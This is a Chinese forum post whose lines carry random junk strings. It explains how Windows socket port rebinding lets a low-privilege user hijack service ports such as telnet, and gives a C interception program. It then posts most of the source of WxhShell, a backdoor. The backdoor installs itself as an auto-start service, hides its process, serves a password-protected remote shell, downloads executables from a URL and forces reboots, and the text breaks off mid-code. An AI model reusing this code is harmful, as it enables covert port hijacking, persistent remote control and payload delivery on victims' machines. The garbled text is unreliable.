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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9G"4w`P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X\w["! B  
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  saddr.sin_family = AF_INET; Z\]LG4N?  
v~W ;&{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }eI9me@Aa  
mKyF<1,m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mkPqxzxbrL  
MiKq|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M= |is*t  
`c|H^*RC  
  这意味着什么?意味着可以进行如下的攻击: Z0O0Q=e\Y  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I[gPW7&S@  
W voIh4]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9$qw&j[  
-e?n4YO*\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VKw.g@BY  
XR p60i6f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lqgR4  !  
N)a5~<fBG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TKbfZw  
KY0<N 9{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &U CtyCz  
n5efHJU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L?P[{Ohh/  
^|vP").aQm  
  #include Fp"c {  
  #include 9b&;4Yq!f  
  #include b$pCp`/MT  
  #include    /J Y6S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1}SON4U  
  int main() O'xp"e,  
  { Os]. IL$  
  WORD wVersionRequested; 44w "U%+  
  DWORD ret; ;% i-:<ac  
  WSADATA wsaData; 0LP0q9S:9  
  BOOL val; EP<{3f y  
  SOCKADDR_IN saddr; ?B)e8i<[f  
  SOCKADDR_IN scaddr; )7-mALyW  
  int err; WP Gp(X w  
  SOCKET s; E7.{SGH}  
  SOCKET sc; wr(*RI"  
  int caddsize; O<mA+yk  
  HANDLE mt; C OL"/3r  
  DWORD tid;   Fi7~JZZ  
  wVersionRequested = MAKEWORD( 2, 2 ); R<hsG%BS(D  
  err = WSAStartup( wVersionRequested, &wsaData ); X+ybgB4(  
  if ( err != 0 ) { cG3tn&AXi  
  printf("error!WSAStartup failed!\n"); 09 f;z  
  return -1; }5z!FXB  
  } #N'9F&:V$  
  saddr.sin_family = AF_INET; %s5( ''a.  
   blP8"(U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NXz/1ut%  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gxe u2 HG  
  saddr.sin_port = htons(23); nE0I[T(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :uqEGnEut  
  { %U .x9UL  
  printf("error!socket failed!\n"); Jy[rA<x$  
  return -1; P1]F0fR  
  } $]W*;MTI}  
  val = TRUE; &uV|Ie8@q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jROh3kq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cg_tJ^vrY  
  { ^vzXT>t-M  
  printf("error!setsockopt failed!\n"); [Z;H= `  
  return -1; jaVx9FR +  
  } U[q39FR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1N { >00  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h+cOOm-)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VP?Q$?a  
U+(qfa5(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &N3a`Ua  
  { k^B7M}  
  ret=GetLastError(); \q^ dhY>)  
  printf("error!bind failed!\n"); 4(Y-TFaf  
  return -1; uKJo5%>  
  } EpCNp FQT<  
  listen(s,2); $bBUL C  
  while(1) naeppBo  
  { mZ3Z8q}%P  
  caddsize = sizeof(scaddr); &Ot9"Aq:  
  //接受连接请求 x[BA <UNO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YluvWHWi  
  if(sc!=INVALID_SOCKET) OU^I/TU  
  { O`PQ4Q*F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #"H<k(-Cz  
  if(mt==NULL) %RzkP}1>E  
  { ;7JyL|2  
  printf("Thread Creat Failed!\n"); us<dw@P7{  
  break; #k!;=\FV  
  } |="Y3}a  
  } 3.=o}!  
  CloseHandle(mt); `}}|QP5xG  
  } sebm  
  closesocket(s); 5twG2p8  
  WSACleanup(); dWo$5Bls<A  
  return 0;  3L4v@  
  }   U9%^gC  
  DWORD WINAPI ClientThread(LPVOID lpParam) _?bF;R  
  { EU Oa8Z  
  SOCKET ss = (SOCKET)lpParam; YW8Odm  
  SOCKET sc; D6\k}4n-  
  unsigned char buf[4096]; )sK _k U{\  
  SOCKADDR_IN saddr; /"R{1  
  long num; <BBSC  
  DWORD val; \TYH7wXDP  
  DWORD ret; 9/R=_y-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,ob)6P^rw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q%V530 P;  
  saddr.sin_family = AF_INET; u2U+uD@yA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wNh\pWA  
  saddr.sin_port = htons(23); ? fM_Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  .g=D70  
  { PA,\o8]x  
  printf("error!socket failed!\n"); [LbCG  
  return -1; =#%Vs>G  
  } =jU#0FAO  
  val = 100; 2e({%P@2?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aLQ]2m  
  { !Pd)  
  ret = GetLastError(); u 1Wixjd|  
  return -1; H~0B5Hl!F  
  } =RlAOgJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gA2]kZg  
  { )S@TYzdAN  
  ret = GetLastError(); 1nE`Wmo.2  
  return -1; "`[4(j  
  } -t125)6I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 99b"WH^3$y  
  { i[vOpg]J  
  printf("error!socket connect failed!\n"); Dd)L~`k{)  
  closesocket(sc); o4aFgal1  
  closesocket(ss); _o>?\:A  
  return -1; ;4`%?6%  
  } sB'~=1m^  
  while(1) d! _8+~  
  { Cg^1(dBd[9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dQNW1-s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1%N[DA^<\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jF{\=&fU  
  num = recv(ss,buf,4096,0); QG XR<Y  
  if(num>0) -}H EV#ev  
  send(sc,buf,num,0); ]"\sd"  
  else if(num==0) TM,Fab &  
  break; g6.Tx]?b$  
  num = recv(sc,buf,4096,0); (.g?|c  
  if(num>0) OX{2@+f#  
  send(ss,buf,num,0); ^4a|gc  
  else if(num==0) x J\>;$CY  
  break; *1U"uJno  
  } D<bH RtP  
  closesocket(ss); l9{.~]V  
  closesocket(sc); |vh{Kb@  
  return 0 ; ;n/04z  
  } )zo:Bo .<  
R]TS5b-  
?!n0N\|i]  
========================================================== NH8\&#}nAK  
<e-hR$  
下边附上一个代码,,WXhSHELL n%ZOR1u)k#  
[nB4s+NX  
========================================================== [4\n(/  
GbBz;ZV%z,  
#include "stdafx.h" 2P?|'U  
Q::_i"?c  
#include <stdio.h> _Xfn  
#include <string.h> h09fU5l  
#include <windows.h> S&Sa~Oq<o  
#include <winsock2.h> CVGQ<,KVW  
#include <winsvc.h> -Dr)+Y  
#include <urlmon.h> aq.Lnbi/X  
g6;a2  
#pragma comment (lib, "Ws2_32.lib") 2U'Vq  
#pragma comment (lib, "urlmon.lib") o[ 4e_ @E  
:v8~'cZ  
#define MAX_USER   100 // 最大客户端连接数 $`|\aXd[C*  
#define BUF_SOCK   200 // sock buffer >8w=Vlp  
#define KEY_BUFF   255 // 输入 buffer nztnU9OG  
p-2PC{% t|  
#define REBOOT     0   // 重启 91}kBj  
#define SHUTDOWN   1   // 关机 h@D!/PS  
PKX Tj6hj)  
#define DEF_PORT   5000 // 监听端口 mP -Y9*k  
rjwP#  
#define REG_LEN     16   // 注册表键长度 HH7Bg0=(  
#define SVC_LEN     80   // NT服务名长度 4inM d![  
$6*6%T5}  
// 从dll定义API !sh>`AF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q=F4ZrNqD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^wb$wtL('  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w72\'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k\}\>&Zqu  
n4DKLAl  
// wxhshell配置信息 ITBa ^P  
struct WSCFG { ?;CMsO*q  
  int ws_port;         // 监听端口  7D\:i1~  
  char ws_passstr[REG_LEN]; // 口令 ew|e66Tw$  
  int ws_autoins;       // 安装标记, 1=yes 0=no -zH` 9>J5|  
  char ws_regname[REG_LEN]; // 注册表键名 Ydh+iLjhx  
  char ws_svcname[REG_LEN]; // 服务名 DM3 %+ xY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7H_*1_%ZQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *T0!q#R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3KN})*1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nb #)$l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KDJ-IXoU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fH ?s~X]  
 [?moS!  
}; Kb*X2#;*  
A%% Vyz  
// default Wxhshell configuration ZRj&k9D^U  
struct WSCFG wscfg={DEF_PORT, 71OQ?fc  
    "xuhuanlingzhe", XjU/7Q  
    1, ^,6c9Dxy  
    "Wxhshell", j@Y'>3  
    "Wxhshell", CP6xyXOlPB  
            "WxhShell Service", ^;.&=3N,+  
    "Wrsky Windows CmdShell Service", \EQCR[7qu7  
    "Please Input Your Password: ", x\'95qU  
  1, #A9rI;"XI  
  "http://www.wrsky.com/wxhshell.exe", oO&R3zA1d  
  "Wxhshell.exe" *QP+p,L*  
    }; jLF,R7t  
mD go@ f  
// 消息定义模块 wdQ%L4l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ngC^@*XAw9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0E/,l``p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^?-wov$  
char *msg_ws_ext="\n\rExit."; 4-~S"T8<u  
char *msg_ws_end="\n\rQuit."; roHJ$~q?  
char *msg_ws_boot="\n\rReboot..."; oS#PBql4  
char *msg_ws_poff="\n\rShutdown..."; noQS bI @  
char *msg_ws_down="\n\rSave to "; 4ZrRgx2MD  
P,={ C6*  
char *msg_ws_err="\n\rErr!"; ja+PVf  
char *msg_ws_ok="\n\rOK!"; ]r(s02  
aW;DfH  
char ExeFile[MAX_PATH]; N 2$uw@s  
int nUser = 0; @agxu-Y  
HANDLE handles[MAX_USER]; KU*XRZu)  
int OsIsNt; Q;y)6+VU4  
3u~V&jl  
SERVICE_STATUS       serviceStatus; %v, a3^Qu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $`6Q\=*R/  
cOvdC4  
// 函数声明 s1%th"e [  
int Install(void); O("13cU  
int Uninstall(void); 8>a%L?BY  
int DownloadFile(char *sURL, SOCKET wsh); {P!1VYs5  
int Boot(int flag); c^x5 E`{  
void HideProc(void); @"O|[%7e  
int GetOsVer(void); S)=3%toS>  
int Wxhshell(SOCKET wsl); =.ReM_.  
void TalkWithClient(void *cs); X}_Gk5q*  
int CmdShell(SOCKET sock); EdC/]  
int StartFromService(void); QpiA~4  
int StartWxhshell(LPSTR lpCmdLine); Oe"nNvu/  
(svKq(X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .r\|9 *j<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /xw}]Fa5  
G:i>MJbxT  
// 数据结构和表定义 nr- 32u  
SERVICE_TABLE_ENTRY DispatchTable[] = AY_GD ^  
{ D&!c7_^  
{wscfg.ws_svcname, NTServiceMain}, hK 1 H'~c  
{NULL, NULL} K2!GpGZu  
}; qw6i|JM%  
_DLELcH Y  
// 自我安装 0rCQz3gh1  
int Install(void) uG=~k O  
{ ~+CEek  
  char svExeFile[MAX_PATH]; fRomP-S  
  HKEY key; bO+]1nZ.  
  strcpy(svExeFile,ExeFile); ,C}s8|@k  
i2l/y,UX  
// 如果是win9x系统,修改注册表设为自启动 $tB `dDj  
if(!OsIsNt) { p&k%d, *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kV@?Oj.&I,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rBZ0Fx$/[  
  RegCloseKey(key); W}'l8z]   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mew,g:m:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Z+FX,AK  
  RegCloseKey(key); 3#N`n |UgC  
  return 0; g+3_ $qIQ+  
    } A\ r}V-  
  } j] J-#J  
} m"GgaH3,  
else { R^&.:;Wi>  
2"IDz01ne  
// 如果是NT以上系统,安装为系统服务 \Sv8c}8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Io@1[kj  
if (schSCManager!=0) '9@AhiNV  
{ #T++5G  
  SC_HANDLE schService = CreateService K8RV=3MBLD  
  ( l- $5CO  
  schSCManager, U<I]_]  
  wscfg.ws_svcname, t 09-y  
  wscfg.ws_svcdisp, ?.^n,[2  
  SERVICE_ALL_ACCESS, i'p6#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z>z9xG'  
  SERVICE_AUTO_START, :pvB}RYD  
  SERVICE_ERROR_NORMAL, =d#(n M*  
  svExeFile, [,sm]/Xlc  
  NULL, jr/IU=u*v  
  NULL, "P yG;N!W  
  NULL,  wWQt  
  NULL, 1xjWD30  
  NULL z-_$P)[c  
  ); ~Z' /b|x<3  
  if (schService!=0) ~- eB  
  { 5Zn:$?7  
  CloseServiceHandle(schService); m{ f+ !  
  CloseServiceHandle(schSCManager); qyzH*#d=Cf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ko ~D;M:  
  strcat(svExeFile,wscfg.ws_svcname); Egmp8:nZl@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^J'O8G$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %#TAz7  
  RegCloseKey(key); fLZ mQO  
  return 0; u4h.\ul8%  
    } = ( 4l  
  } Vp&"[rC_z  
  CloseServiceHandle(schSCManager); M}]4tAyT  
} N"s"^}M\  
} Jw0I$W/  
Zmm6&OZ%  
return 1; kK=f@l  
} mcTC'. 9  
E8L\3V4  
// 自我卸载 ||Vx:(d7D&  
int Uninstall(void) Qt>Bvu Q  
{ $kccM& B  
  HKEY key; )v\ A8)[  
'm0_pM1:D  
if(!OsIsNt) { y+h/jEbM</  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yf_/c*t\5  
  RegDeleteValue(key,wscfg.ws_regname); -J>f,zA  
  RegCloseKey(key); d)GR]^=r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5E^P2Mlc  
  RegDeleteValue(key,wscfg.ws_regname); (dwb{+HW  
  RegCloseKey(key); RQU-]qQ8BM  
  return 0; !uP8powO  
  } N?IdaVLj  
} ;?C`Jag x  
} |lN=q44I  
else { L@.Trso  
1 dOB|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !X`cNd)0Xo  
if (schSCManager!=0) mc4|@p*  
{ 39A|6>-?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lib}dk  
  if (schService!=0) ]e$n;tuW  
  { F`>qg2wO  
  if(DeleteService(schService)!=0) { x>+sqFd\  
  CloseServiceHandle(schService); 2M)E1q|a  
  CloseServiceHandle(schSCManager); `yh][gqVE~  
  return 0; q8MyEoc:n  
  } xVTl  
  CloseServiceHandle(schService); 5b->pc  
  } -@Z9h)G|  
  CloseServiceHandle(schSCManager); KQ0f2?  
} udPLWrPF\  
} pm2]  
f8-~&N/_R  
return 1; ,6ae='=d  
} Fb ~h{  
qe/5'dw  
// 从指定url下载文件 u q A!#E  
int DownloadFile(char *sURL, SOCKET wsh) P!gY&>EU  
{ |@VhR(^O$  
  HRESULT hr; $."F z x  
char seps[]= "/"; #<G:&  
char *token; ,{_56j^d,  
char *file; -`$J& YU  
char myURL[MAX_PATH]; }!"Cvu  
char myFILE[MAX_PATH]; 89t"2|9 u  
/Mj|Px%  
strcpy(myURL,sURL); 2fXwJG'  
  token=strtok(myURL,seps); 8! /ue.T  
  while(token!=NULL) Zzmo7kFx3  
  { 7!;zkou  
    file=token; V P(JV  
  token=strtok(NULL,seps); 7Kpv fyL{  
  } G?!8T91;  
*+(eH#_2/  
GetCurrentDirectory(MAX_PATH,myFILE); .g94|P  
strcat(myFILE, "\\"); _#we1m  
strcat(myFILE, file); -s\R2_(  
  send(wsh,myFILE,strlen(myFILE),0); uQKo2B0  
send(wsh,"...",3,0); QcX&q%*0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wbI1~/  
  if(hr==S_OK) AmJdZs|/  
return 0; J+wnrGoK  
else ` l %,4qR  
return 1; ?xuWha@:  
:w)9 (5  
} ;zd.KaS  
GC_c.|'6[  
// 系统电源模块 )~`UDaj_  
int Boot(int flag) _Ud!tK*H  
{ +pQ3bX  
  HANDLE hToken; A)&CI6(  
  TOKEN_PRIVILEGES tkp; w|NId,#f  
M!X^2  
  if(OsIsNt) { (EH}lh }%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @z:E]O}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L uW""P/  
    tkp.PrivilegeCount = 1; Ucz=\dO1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }PM7CZSq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5W=Jn?y2  
if(flag==REBOOT) { m -0EcA/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #99=wn  
  return 0; rC_saHo>#R  
} xrI9t?QaCb  
else { d%K{JkD-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ca5;Z@t$S  
  return 0; `i+2YCk  
} X~/-,oV=A  
  } qyh]v[  
  else { #o,FVYYj  
if(flag==REBOOT) { cucT |y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PDLps[a  
  return 0; tY:,9eh7B  
} P@% L.y B  
else { OX?E3 <8`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L[<CEk  
  return 0; 4N= gl(  
} oFT1d  
} DyA1zwp}  
 kq([c r  
return 1; \tY7Ga%c  
} L\!Oj5  
`u_k?)lK  
// win9x进程隐藏模块 O}j@+p%M  
void HideProc(void) keStK8  
{ f1?%p)C  
wA6E7vi'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -B(p8YH  
  if ( hKernel != NULL ) 1QnaZhu'  
  { ):A.A,skf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _;:_ !`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [;o>q;75Jz  
    FreeLibrary(hKernel); sbFIKq]  
  } G:` So  
KC%&or  
return; CrG!8}  
} J25/Iy*byG  
*SlWA)9 Y  
// 获取操作系统版本 D-O{/  
int GetOsVer(void) (cV1Pmn  
{ -Owb@Nw  
  OSVERSIONINFO winfo; 7Jd&9&O U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J6ed  
  GetVersionEx(&winfo); t< RPDQ>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kaaz,C.$^  
  return 1; A PrrUo  
  else M 9NT%7Il  
  return 0; .F[5{XV  
} d/awQXKe7  
P0U&+^W"9  
// 客户端句柄模块 4ElS_u^cP7  
int Wxhshell(SOCKET wsl) C~'.3Q6  
{ ?^LG>GgV  
  SOCKET wsh; [fELf(;(  
  struct sockaddr_in client; V|*3*W  
  DWORD myID; [57`V &c5  
x<@i3Y{[  
  while(nUser<MAX_USER) 7]i6 Gk  
{ \< a^5'  
  int nSize=sizeof(client); T)Q_dF.N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "L8Hgwg  
  if(wsh==INVALID_SOCKET) return 1; Ekh)l0 l  
!D V0u)k(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N P5K1:  
if(handles[nUser]==0) .q!i +0  
  closesocket(wsh); H+@?K6{h  
else ~:|V,1  
  nUser++; |cC&,8O:{  
  } m Ph=bG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NRspi_&4J  
Y{Lxo])e  
  return 0; @gmo;8?k  
} 0}|%pmY`  
NL2D,  
// 关闭 socket Q]/{6:C  
void CloseIt(SOCKET wsh) %:Y(x$Qy  
{ %*Vr}@BA)  
closesocket(wsh); 5KIhk`S  
nUser--; M a3}w-=;  
ExitThread(0); H6Gs&yk3  
} h##U=`x3  
n</Rd=  
// 客户端请求句柄 =}Q|#C  
void TalkWithClient(void *cs) D 5:'2i  
{ sM%l:Fv  
8-cuaa  
  SOCKET wsh=(SOCKET)cs; qv |}>wU  
  char pwd[SVC_LEN]; KP $AT}D  
  char cmd[KEY_BUFF];  -rT#Wi  
char chr[1]; 2^nws  
int i,j; ][YuJUK8  
Der'45]*^  
  while (nUser < MAX_USER) { mX?t|:[b  
XN{zl*`  
if(wscfg.ws_passstr) { B(O6qWsL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x5rLGt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Y4zBD=<  
  //ZeroMemory(pwd,KEY_BUFF); @RL'pKab9  
      i=0; u:B=lZ[  
  while(i<SVC_LEN) { &5[+p{2  
E]S:F3  
  // 设置超时 Prc1U)nfo  
  fd_set FdRead; e-1G\}E  
  struct timeval TimeOut; WMWUP ZsGS  
  FD_ZERO(&FdRead); fvV"H{V,  
  FD_SET(wsh,&FdRead); >;VZB/ d  
  TimeOut.tv_sec=8; $D D esy3  
  TimeOut.tv_usec=0; /s+S\ djk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -"^xg"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rhly.f7N=A  
u g;~dhe~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {kb7u5-  
  pwd=chr[0]; (.L?sDQ</z  
  if(chr[0]==0xd || chr[0]==0xa) { >p" U|  
  pwd=0; p _3xW{I  
  break; '/AX 'U8Y  
  } )_?h;wh 84  
  i++; .M ID)PY-  
    } |ZXz&Xor  
"=JE12=u  
  // 如果是非法用户,关闭 socket /FC(d5I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8HHR  
} 7KJ0>0~Et  
={;+0Wjb8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m}S}fH(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W5~!)Ec  
:_=YH+bZ  
while(1) { 6s ~!B{Q  
WT3g31  
  ZeroMemory(cmd,KEY_BUFF); :VLYF$|  
Q/*|ADoq  
      // 自动支持客户端 telnet标准   1+Ik\  
  j=0; VUz+ _)  
  while(j<KEY_BUFF) { FN (O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -(ST   
  cmd[j]=chr[0]; wb h=v;  
  if(chr[0]==0xa || chr[0]==0xd) { GaL UZviJ_  
  cmd[j]=0; 9\=SG"e(  
  break; cqW(9A|8  
  } ZPz=\^  
  j++; NzeiGj  
    } [;ZC_fD  
vF>]9sMv  
  // 下载文件 Q:T9&_|  
  if(strstr(cmd,"http://")) { n.R"n9v`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cRNVqMpg  
  if(DownloadFile(cmd,wsh)) GdrVH,j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'fk6]&-I  
  else ?5,I`9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M=SrZ,W  
  } >J_ P[v  
  else { {))Cb9'  
|YfJ#Agm+  
    switch(cmd[0]) { ?[Ma" l>  
  F2EX7Crj  
  // 帮助 {K?e6-N(z  
  case '?': { \C$cbI=;+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qEl PYN*wF  
    break; vL^ +X`.td  
  } y=[{:  
  // 安装 |zd5P  
  case 'i': { w|*D{`O  
    if(Install()) {LCKt/Z>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x~{W(;`!  
    else f|)~_J H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AR&l9R[{N  
    break; >B*zzj  
    } ~,xso0  
  // 卸载 @U1t~f^  
  case 'r': { P97i<pB Y_  
    if(Uninstall()) gkKNOus  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BW`;QF<  
    else `VDvxl@1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B7.&yXWgn  
    break; +Z"[2Dm  
    } eX!yIqAR  
  // 显示 wxhshell 所在路径 Ae"|a_>fMI  
  case 'p': { #uICH t3  
    char svExeFile[MAX_PATH]; |B64%w>Y  
    strcpy(svExeFile,"\n\r"); 036QV M$  
      strcat(svExeFile,ExeFile); bqx2lQf,_  
        send(wsh,svExeFile,strlen(svExeFile),0); HEhBOER?  
    break; _Vt(Eg_\  
    } l m(mY$B*_  
  // 重启 >$=l;jO`n  
  case 'b': { xh!T,|IR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bT|-G2g7Z  
    if(Boot(REBOOT)) ez5>V7Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L 7LUy$M-<  
    else { :C,}DyZy  
    closesocket(wsh); -pQ?ybQ  
    ExitThread(0); Pj{I} 4P`  
    } 5l%g3F  
    break; }Gx@1)??  
    } N%e^2O)  
  // 关机 s|TO9N)pO  
  case 'd': { $'<$:;4b3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yw89*:A6  
